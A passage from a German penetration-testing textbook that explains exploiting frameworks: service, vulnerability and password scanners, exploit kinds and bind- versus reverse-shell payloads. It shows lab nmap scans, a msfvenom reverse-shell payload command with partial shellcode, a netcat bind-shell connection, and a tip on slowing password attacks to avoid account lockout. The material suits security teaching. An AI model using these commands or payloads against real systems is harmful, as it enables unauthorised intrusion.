Grundlegende Service-Scanner für verbreitete und häufig angreifbare Dienste sind üblicherweise direkt im Framework integriert. Für tiefergehende Analysen unbekannter Services ergänzen externe Programme die integrierten Service-Scanner. An dieser Stelle sei ebenso wie bei den Portscannern auf Nmap verwiesen. Nmap ermöglicht es mit der Option –sV, eine große Anzahl offener Dienste mit umfangreichen Versionsinformationen zu erkennen.

root@bt:~# nmap -v -sV 10.8.28.0/24

Nmap scan report for 10.8.28.212

Host is up (0.00040s latency).

Not shown: 993 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC

1068/tcp open instl_bootc?

1433/tcp open ms-sql-s Microsoft SQL-Server 2005 9.00.4035; SP3

3389/tcp open microsoft-rdp Microsoft Terminal Service

MAC Address: 00:0C:29:50:60:7E (VMware)

Service Info: OS: Windows

Listing 1–3Nmap-Versionsscan

1.4.1.3Vulnerability-Scanner

Umfangreiche Vulnerability-Scanner sind im Normalfall aufgrund der hohen Komplexität nicht direkt in das Framework integriert, sondern werden mit externen, sehr spezialisierten Programmen realisiert. Diese sind imstande, aktuelle Schwachstellen in Systemen und Diensten mit unterschiedlichen Methoden zu ermitteln. Diese Methoden umfassen neben ersten Portscans und Versionsscans auch spezielle Fingerprinting-Methoden von Betriebssystemen, Diensten und Applikationen. Aktuelle Vulnerability-Scanner unterstützen durchweg auch sogenannte Credential-Checks, bei denen sich der Scanner vollkommen automatisch auf dem Zielsystem anmelden und das System dadurch auch lokal analysieren kann.

Beispiel: Einem Scanner, der sich auf dem Zielsystem nicht einloggen kann, stehen ausschließlich Informationen zur Verfügung, die über das Netzwerk ermittelbar sind, wodurch auch nur diese zur Schwachstellenermittlung herangezogen werden können. Besteht die Möglichkeit eines Logins, lassen sich zusätzlich Versionen von Dateien heranziehen; dadurch kann beispielsweise verifiziert werden, ob das Patchmanagement korrekt funktioniert. Des Weiteren ist es möglich, relevante Client-Software auf Aktualität zu prüfen; diese schafft die Möglichkeit, Schwachstellen zu erkennen, die zu Client-Side-Angriffen führen können.

Durch diese Vorgehensweise ist es möglich, die Zuverlässigkeit der Analyse erheblich zu erhöhen. Außerdem verringert sich die False-Positive-Rate, und man kann weitere Schwachstellen und/oder Optimierungsmöglichkeiten am untersuchten System ermitteln. Exploiting-Frameworks nutzen die ermittelten Schwachstelleninformationen im Normalfall über spezielle Import-Funktionen eines maschinenlesbaren Reports. Dieser wird anschließend teilweise automatisiert, teilweise manuell auf potenzielle Schwachstellen analysiert. Basierend auf diesen Ergebnissen lassen sich passende Exploits auswählen und anwenden. Diese Angriffe sind aufgrund der vorhandenen Informationen sehr zielgerichtet und auf das Zielsystem optimiert.

Beispiele dieser Vulnerability-Scanner sind Nessus (siehe Abschnitt 6.3.2) des Herstellers Tenable, NeXpose von Rapid7 (siehe Abschnitt 6.3.3) oder Saint von Saint Corporation. Saint stellt an dieser Stelle eine Ausnahme dar, da in diesem Vulnerability-Scanner bereits unterschiedliche Exploits integriert sind, wodurch es möglich ist, Schwachstellen direkt über den Vulnerability-Scanner zu verifizieren.

Abb. 1–4Über Saint erfolgreich angegriffene Systeme [12]

Nmap ermöglicht durch den Einsatz der NSE-Scripting-Engine bereits die Erkennung einiger Schwachstellen, die für einen ersten Angriff in Frage kommen.

root@bt:~# nmap -v -sS -p445 --script=smb-check-vulns.nse --script-args=unsafe=1

10.8.28.244

Host is up (0.0013s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 00:0C:29:11:E6:04 (VMware)

Host script results:

| smb-check-vulns:

| MS08-067: VULNERABLE

| Conficker: Likely CLEAN

| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

| MS06-025: NO SERVICE (the Ras RPC service is inactive)

|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Listing 1–4Nmap Vulnerability-Detection

Die Möglichkeiten, die Metasploit im Umgang mit Vulnerability-Scannern bietet, werden in Abschnitt 6.3 detailliert betrachtet.

1.4.1.4Passwort-Scanner

Exploits sind im Normalfall ein relativ komplizierter und in vielen Fällen nicht sehr zuverlässiger Zugang zu einem System. Erheblich verlässlicher wären an dieser Stelle die korrekten Zugangsdaten, die beispielsweise für einen SSH-Login-Vorgang eingesetzt werden können. Aus diesem Grund umfasst jeder Pentest die Überprüfung typischer loginfähiger Protokolle auf einfache und auf bekannte Default-Passwörter.

Solche Standardpasswörter werden in vielen Fällen vom Hersteller eines Produktes vor der Auslieferung vergeben. Eine anschließende Änderung durch den Kunden wird nicht immer durchgeführt, wodurch sich solche bekannten Zugriffsinformationen für einen ersten Zugriff auf ein System nutzen lassen. Diese bekannten Passwörter bieten dann beispielsweise Zugriff auf Konfigurationen oder auf Konfigurationsinterfaces. Teilweise ist es über Schnittstellen dieser Art möglich, Systembefehle abzusetzen, wodurch sich das System unter Umständen vollständig kompromittieren lässt.

Ist im Rahmen eines Pentests beispielsweise ein korrekter SSH-Login eines nicht privilegierten Benutzers ermittelbar, lässt sich dieser Zugriff unter Umständen nutzen, um lokale Schwachstellen für weitere Privilege-Escalation-Vorgänge einzusetzen. Passwortangriffe ermöglichen oftmals den ersten nötigen Schritt, um weitreichende und erfolgreiche Angriffe innerhalb eines Netzwerkes durchzuführen.

Folgende Services (die dargestellten Ports entsprechen der häufig anzutreffenden Default-Konfiguration) stellen nur einen kleinen Auszug potenzieller Ziele dar. Eine Prüfung dieser Dienste sollte im Rahmen jedes Penetrationstests durchgeführt werden. Die meisten dieser Services sind bereits durch einen einfachen Portscan zu ermitteln und lassen sich anschließend umgehend mit umfangreichen Passwortangriffen analysieren:

FTP – Port 21

SSH – Port 22

Telnet – Port 23

SMB – Port 445

HTTP Basic – z.B. Port 80/443

VNC – Port 5900

SNMP – Port 161 (UDP)

Unterschiedlichste Datenbanksysteme

Im Rahmen der Vorarbeiten eines vollständig automatisierten Passwortangriffs sollte unbedingt getestet werden, ob der zu analysierende Dienst weitere Schutzmaßnahmen aufweist. Ein häufig anzutreffender Schutzmechanismus ist die Sperrung des Accounts bei zu häufigen fehlerhaften Anmeldeversuchen. Wird ein solcher Schutzmechanismus bereits bei ersten manuellen Tests erkannt, ist zu prüfen, ob dieser Mechanismus evtl. durch Verringerung der Intensität (Geschwindigkeit des Passwortangriffs) zu umgehen ist.

Warnung: Ein vollständig automatisierter und unkontrollierter Angriff auf Systeme mit Schutzmechanismen der dargestellten Art kann weitreichende Auswirkungen auf die geprüften Systeme und deren Verfügbarkeit haben.

Exploiting-Frameworks liefern im Normalfall neben den benötigten Angriffsmodulen auch unterschiedlichste Passwortlisten mit. Diese Passwortlisten ermöglichen eine erste, relativ schnelle Analyse von schwachen und von Default-Passwörtern. Für weitere, detaillierte Passwortangriffe müssen dementsprechend umfangreiche Passwortlisten erstellt und eingesetzt werden.

1.4.1.5Exploits

Als Exploits werden Programme und/oder Skripte bezeichnet, die erstellt wurden, um vorhandene Sicherheitslücken von IT-Programmen oder ganzen Systemen auszunützen bzw. nachzuweisen. Das Ausnützen einer solchen Schwachstelle ermöglicht unter Umständen eine vollständige Kompromittierung anfälliger Systeme, die bis hin zum erfolgreichen Angriff bzw. zur Eskalation auf umfangreiche IT-Umgebungen führen kann.

Für die weitere Darstellung in diesem Buch werden in erster Linie die folgenden drei Hauptkategorien von Exploits betrachtet:

Remote-Exploits

werden über das Netzwerk zum Einsatz eingebracht. Exploits dieser Art haben typischerweise das Erlangen eines ersten Systemzugriffs zum Ziel. Diese Exploits werden für Schwachstellen in einem Dienst, der über das Netzwerk ansprechbar ist, eingesetzt. Sie werden zudem häufig als

aktive Exploits

bezeichnet.

Local-Exploits

zielen üblicherweise darauf ab, die bereits erlangte Berechtigungsstufe zu erhöhen. Diese Art von Exploit wird für gewöhnlich als

Privilege-Escalation-Exploit

bezeichnet.

Bei Exploits von Client-Software (siehe

Kapitel 8

) werden Schwachstellen in üblicher Desktop-Software ausgenutzt. Weit verbreitete Programme, die in jüngster Vergangenheit verstärkt von Schwachstellen und Exploits betroffen waren, sind beispielsweise der Adobe Reader oder der Internet Explorer. Diese Exploits werden häufig auch als

passive Exploits

bezeichnet (der Exploit wird beispielsweise über einen Webserver angeboten und benötigt weitere Interaktion des Ziels).

Bei Exploits handelt es sich um das Kernstück eines jeden Frameworks. Möglichst viele, aktuelle und stabile Exploits sollte ein Framework mit sich bringen. Aktuelle bzw. neu erkannte Schwachstellen und zu diesen Schwachstellen veröffentlichte Exploits sollten möglichst zeitnah in das Framework integriert und zumindest zu Testzwecken auch unverzüglich den Nutzern zur Verfügung gestellt werden. Neben der Aktualität vorhandener Exploits dürfen ältere Schwachstellen nicht vernachlässigt werden. Im Rahmen von Penetrationstests lassen sich häufig Schwachstellen auffinden, die bereits seit Längerem bekannt sind und zum Eindringen in ein System genutzt werden können. An dieser Stelle sei auf die Wichtigkeit eines funktionierenden Patchmanagements hingewiesen.

Die große Zahl der täglich veröffentlichten Schwachstellen und Exploits macht es für die Entwickler der unterschiedlichen Frameworks nahezu unmöglich, alle verfügbaren Exploits zu integrieren. Aus diesem Grund werden Möglichkeiten benötigt, externe Exploits in das Framework einzubinden und dadurch eine zentrale Verwaltung bzw. Steuerung der Angriffe zu gewährleisten. Beispielsweise sollte es eine Option geben, Exploits, die auf diversen Internetportalen verfügbar sind, über das Framework einzusetzen bzw. zumindest den erstellten Systemzugriff in das Framework aufzunehmen, zu kontrollieren und dadurch mit den Funktionen des Frameworks anzureichern.

1.4.1.6Payloads

Payloads sind neben den bereits dargestellten Exploits das Herzstück eines jeden Exploiting-Frameworks. Bei Payloads handelt es sich üblicherweise um Programmcode, der sehr genau auf die Zielplattform abgestimmt bzw. auf diese optimiert ist und der eine vorab sehr genau definierte Funktionalität aufweist.

Hinweis: Oftmals wird der Payload als Shellcode bezeichnet.

Mit einem erfolgreichen Exploiting-Vorgang kommt es üblicherweise zur Kontrolle des weiteren Programmablaufs bzw. zur Kontrolle der folgenden Instruktionen. Diese Kontrolle ermöglicht eine Korrektur des eigentlich vorgesehenen Programmablaufs, wodurch der vom Angreifer eingeschleuste Payload zur Ausführung gebracht wird. Dieser Programmcode wird in Form von Maschinencode (Assemblercode) in den Programmfluss eingeschleust und dort im Kontext des exploiteten Programms ausgeführt. Im Rahmen der Anwendung von Exploits und deren späterer Entwicklung wird der Leser häufig mit einer Darstellung von Payloads zu tun haben, die der in Listing 1–5 ähnelt. Der dargestellte Payload wird mit dem im weiteren Verlauf noch häufig anzutreffenden Metasploit-Tool msfvenom erstellt.

#./msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 -f c

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86 from the payload

Found 0 compatible encoders

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"

<snip>

"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"

"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"

"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

Listing 1–5Beispiel eines Reverse-Shell-Payloads

Payloads führen vorab definierte Kommandos aus und sorgen in bestimmten Fällen dafür, dass ein Angreifer vollständigen und interaktiven Zugriff auf das angegriffene System erhält und es dadurch über das Netzwerk kontrollieren kann.

Aktuelle Frameworks umfassen eine große Anzahl unterschiedlichster und für verschiedenste Aufgaben optimierte Payloads.

Die drei folgenden Hauptgruppen lassen sich in dieser Unmenge von Payloads erkennen:

Systemkommando-Payloads

Bind-Shell-Payloads

Reverse-Shell-Payloads

Systemkommando-Payloads

Typischerweise werden von Systemkommando-Payloads vorab definierte und auf das Zielsystem angepasste Systembefehle ausgeführt. Solche Payloads unterstützen häufig mit einfachen Kommandos zur weiteren Informationsgewinnung und gehen bis hin zu komplexen Kommandoketten, die imstande sind, weitreichende Veränderungen des Systems durchzuführen oder einen Remote-Zugriff zu ermöglichen. Beispielsweise kann es das Ziel eines Angreifers sein, einen neuen, administrativen Benutzer anzulegen und anschließend den Remote-Desktop-Zugang für diesen zu aktivieren.

Bind-Shell-Payloads

Bind-Shell-Payloads haben das Ziel, sozusagen eine Steuerverbindung in Form eines Shell-Zugriffs über das Netzwerk bereitzustellen. Dieser Shell-Zugriff dient dazu, mit dem kompromittierten System interaktiv zu kommunizieren und es darüber zu kontrollieren.

Abb. 1–5Bind-Shell – Exploiting-Vorgang

Abb. 1–6Bind-Shell – Payload-Verbindung

Bei Bind-Shell-Payloads wird nach dem erfolgreichen Exploiting-Vorgang auf dem Zielsystem ein Shellcode (Payload) ausgeführt, der eine Shell wie beispielsweise die Windows-cmd.exe oder auf Linux-Systemen die Bash auf einen lokalen Port im Netzwerk zur Verfügung stellt. Dieser Shell-Zugriff wartet auf Verbindungsanfragen und ermöglicht dadurch weiteren Systemzugriff und sozusagen Managementfunktionalität für den Angreifer. Der Angreifer muss sich typischerweise nur noch mit einem geeigneten Programm (wie beispielsweise Netcat – siehe Listing 1–6) auf den Port verbinden und erhält Zugriff auf das System.

root@bt:~# nc -v 10.8.28.16 4444

localhost [10.8.28.16] 4444 (?) open

Microsoft Windows-XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\>

Listing 1–6Bind-Shell-Verbindungsherstellung auf Port 4444

Vorteile:

Im Normalfall ist ein Bind-Payload einfacher als Reverse-Payloads anzuwenden. Da der Bind-Payload am Opfersystem einen lokalen Port zur Verfügung stellt, kann der Angreifer auch zu einem späteren Zeitpunkt eine Verbindung aufbauen.

Nachteile:

Werden auf dem zur Verfügung gestellten Kommunikationskanal an einer beliebigen Stelle Firewalls eingesetzt, wodurch es zu einer Filterung der eingehenden Kommunikation kommt, wird der Verbindungsaufbau zur bereits erstellten Bind-Shell unterbunden.

Abb. 1–7Bind-Shell – Payload-Verbindung durch Firewall gestört

In diesem Fall kann es vorkommen, dass der Exploiting-Vorgang zwar erfolgreich war, aber der anschließende Zugriff auf das System verwehrt bleibt. Bei Client-Side-Angriffen kommen aus diesem Grund Bind-Shells kaum zum Einsatz. Abhilfe schaffen typischerweise die folgenden Reverse Shells.

Reverse-Shell-Payloads

Wie Bind-Shell-Payloads haben auch Reverse-Shell-Payloads das Ziel, einen Systemzugriff in Form eines Shell-Zugangs über das Netzwerk bereitzustellen.

Abb. 1–8Reverse-Shell – Exploiting-Vorgang

Abb. 1–9Reverse-Shell – Payload-Verbindung

Bei Reverse-Payloads wird nach dem erfolgreichen Exploiting-Vorgang auf dem Zielsystem Shellcode (Payload) ausgeführt, der eine Verbindung über das Netzwerk zu einem Port auf dem System des Angreifers initiiert (zurück zum Angreifer). Auf dem System des Angreifers muss zu diesem Zeitpunkt ein Port zur Annahme dieser Verbindung geöffnet sein und für den Verbindungsaufbau vom Opfersystem vorbereitet sein. Sobald die Verbindung, die durch den Payload vom Opfersystem initiiert wurde, abgeschlossen ist, erhält der Angreifer Zugriff auf das kompromittierte System.

Vorteile: